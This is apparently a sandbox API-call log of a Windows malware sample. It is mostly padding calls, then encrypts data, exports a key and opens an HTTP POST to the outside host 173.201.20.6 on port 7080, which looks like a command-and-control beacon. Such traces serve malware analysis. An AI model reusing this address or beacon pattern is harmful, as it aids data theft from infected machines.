GetLastError () returned 0x12 [0071.079] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcess () returned 0xffffffff [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F92P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcess () returned 0xffffffff [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F93P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetLastError () returned 0x12 [0071.079] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2F94P") returned 7 [0071.079] SetLastError (dwErrCode=0x12) [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] GetCurrentProcessId () returned 0x81c [0071.079] lstrlenA (lpString="just string") returned 11 [0071.079] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] GetCurrentProcess () returned 0xffffffff [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2FD9P") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2FDAP") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F303EP") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.080] GetLastError () returned 0x12 [0071.080] GetLastError () returned 0x12 [0071.080] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcess () returned 0xffffffff [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30AAP") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcess () returned 0xffffffff [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30ABP") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetLastError () returned 0x12 [0071.080] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30ACP") returned 7 [0071.080] SetLastError (dwErrCode=0x12) [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] GetCurrentProcessId () returned 0x81c [0071.080] lstrlenA (lpString="just string") returned 11 [0071.080] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetLastError () returned 0x12 [0071.081] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcess () returned 0xffffffff [0071.081] GetLastError () returned 0x12 [0071.081] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30DCP") returned 7 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcess () returned 0xffffffff [0071.081] GetLastError () returned 0x12 [0071.081] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30DDP") returned 7 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetLastError () returned 0x12 [0071.081] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F30DEP") returned 7 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] lstrlenA (lpString="just string") returned 11 [0071.081] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.081] GetLastError () returned 0x12 [0071.081] GetCurrentProcess () returned 0xffffffff [0071.081] GetLastError () returned 0x12 [0071.081] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3227P") returned 7 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcessId () returned 0x81c [0071.081] GetLastError () returned 0x12 [0071.081] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3228P") returned 7 [0071.081] SetLastError (dwErrCode=0x12) [0071.081] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] lstrlenA (lpString="just string") returned 11 [0071.082] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.082] GetLastError () returned 0x12 [0071.082] GetLastError () returned 0x12 [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] lstrlenA (lpString="just string") returned 11 [0071.082] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.082] GetLastError () returned 0x12 [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] lstrlenA (lpString="just string") returned 11 [0071.082] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.082] GetLastError () returned 0x12 [0071.082] GetLastError () returned 0x12 [0071.082] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcess () returned 0xffffffff [0071.082] GetLastError () returned 0x12 [0071.082] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3316P") returned 7 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcess () returned 0xffffffff [0071.082] GetLastError () returned 0x12 [0071.082] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3317P") returned 7 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetLastError () returned 0x12 [0071.082] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3318P") returned 7 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] lstrlenA (lpString="just string") returned 11 [0071.082] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.082] GetLastError () returned 0x12 [0071.082] GetLastError () returned 0x12 [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] lstrlenA (lpString="just string") returned 11 [0071.082] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.082] GetLastError () returned 0x12 [0071.082] GetLastError () returned 0x12 [0071.082] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcess () returned 0xffffffff [0071.082] GetLastError () returned 0x12 [0071.082] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3384P") returned 7 [0071.082] SetLastError (dwErrCode=0x12) [0071.082] GetCurrentProcessId () returned 0x81c [0071.082] GetCurrentProcess () returned 0xffffffff [0071.082] GetLastError () returned 0x12 [0071.083] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3385P") returned 7 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetLastError () returned 0x12 [0071.083] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3386P") returned 7 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] GetLastError () returned 0x12 [0071.083] GetLastError () returned 0x12 [0071.083] GetLastError () returned 0x12 [0071.083] GetLastError () returned 0x12 [0071.083] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcess () returned 0xffffffff [0071.083] GetLastError () returned 0x12 [0071.083] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3438P") returned 7 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcess () returned 0xffffffff [0071.083] GetLastError () returned 0x12 [0071.083] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3439P") returned 7 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetLastError () returned 0x12 [0071.083] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F343AP") returned 7 [0071.083] SetLastError (dwErrCode=0x12) [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] GetCurrentProcessId () returned 0x81c [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.083] lstrlenA (lpString="just string") returned 11 [0071.083] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.083] GetLastError () returned 0x12 [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] GetCurrentProcess () returned 0xffffffff [0071.084] GetLastError () returned 0x12 [0071.084] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F35BFP") returned 7 [0071.084] SetLastError (dwErrCode=0x12) [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetLastError () returned 0x12 [0071.084] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F35C0P") returned 7 [0071.084] SetLastError (dwErrCode=0x12) [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] lstrlenA (lpString="just string") returned 11 [0071.084] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.084] GetLastError () returned 0x12 [0071.084] GetLastError () returned 0x12 [0071.084] GetLastError () returned 0x12 [0071.084] GetLastError () returned 0x12 [0071.084] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.084] SetLastError (dwErrCode=0x12) [0071.084] GetCurrentProcess () returned 0xffffffff [0071.084] GetLastError () returned 0x12 [0071.084] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F365EP") returned 7 [0071.084] SetLastError (dwErrCode=0x12) [0071.084] GetCurrentProcessId () returned 0x81c [0071.084] GetCurrentProcess () returned 0xffffffff [0071.084] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F365FP") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3660P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] lstrlenA (lpString="just string") returned 11 [0071.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.085] GetLastError () returned 0x12 [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] lstrlenA (lpString="just string") returned 11 [0071.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.085] GetLastError () returned 0x12 [0071.085] GetCurrentProcess () returned 0xffffffff [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F36A5P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F36A6P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] lstrlenA (lpString="just string") returned 11 [0071.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.085] GetLastError () returned 0x12 [0071.085] lstrlenA (lpString="just string") returned 11 [0071.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.085] GetLastError () returned 0x12 [0071.085] GetLastError () returned 0x12 [0071.085] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcess () returned 0xffffffff [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F36F4P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcess () returned 0xffffffff [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F36F5P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F36F6P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] GetCurrentProcessId () returned 0x81c [0071.085] lstrlenA (lpString="just string") returned 11 [0071.085] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.085] GetLastError () returned 0x12 [0071.085] GetLastError () returned 0x12 [0071.085] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3728P") returned 7 [0071.085] SetLastError (dwErrCode=0x12) [0071.085] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] lstrlenA (lpString="just string") returned 11 [0071.086] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.086] GetLastError () returned 0x12 [0071.086] GetCurrentProcess () returned 0xffffffff [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3759P") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F375AP") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] lstrlenA (lpString="just string") returned 11 [0071.086] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.086] GetLastError () returned 0x12 [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] lstrlenA (lpString="just string") returned 11 [0071.086] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.086] GetLastError () returned 0x12 [0071.086] GetLastError () returned 0x12 [0071.086] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcess () returned 0xffffffff [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F37C6P") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcess () returned 0xffffffff [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F37C7P") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F37C8P") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] lstrlenA (lpString="just string") returned 11 [0071.086] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.086] GetLastError () returned 0x12 [0071.086] GetLastError () returned 0x12 [0071.086] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcess () returned 0xffffffff [0071.086] GetLastError () returned 0x12 [0071.086] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F380CP") returned 7 [0071.086] SetLastError (dwErrCode=0x12) [0071.086] GetCurrentProcessId () returned 0x81c [0071.086] GetCurrentProcess () returned 0xffffffff [0071.086] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F380DP") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F380EP") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] GetLastError () returned 0x12 [0071.087] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcess () returned 0xffffffff [0071.087] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3834P") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcess () returned 0xffffffff [0071.087] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3835P") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F3836P") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] GetLastError () returned 0x12 [0071.087] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F389AP") returned 7 [0071.087] SetLastError (dwErrCode=0x12) [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] GetCurrentProcessId () returned 0x81c [0071.087] lstrlenA (lpString="just string") returned 11 [0071.087] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.087] GetLastError () returned 0x12 [0071.087] GetLastError () returned 0x12 [0071.088] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0071.088] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db5a8, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0071.088] GetLastError () returned 0x12 [0071.088] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0071.088] CryptGetHashParam (in: hHash=0x3db5a8, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0071.088] CryptDestroyHash (hHash=0x3db5a8) returned 1 [0071.088] GetCurrentProcessId () returned 0x81c [0071.088] lstrlenA (lpString="just string") returned 11 [0071.088] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.088] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0071.088] GetLastError () returned 0x0 [0071.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0071.088] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.088] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.088] lstrlenA (lpString="just string") returned 11 [0071.088] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.088] GetLastError () returned 0x0 [0071.088] lstrlenA (lpString="just string") returned 11 [0071.088] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.089] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", 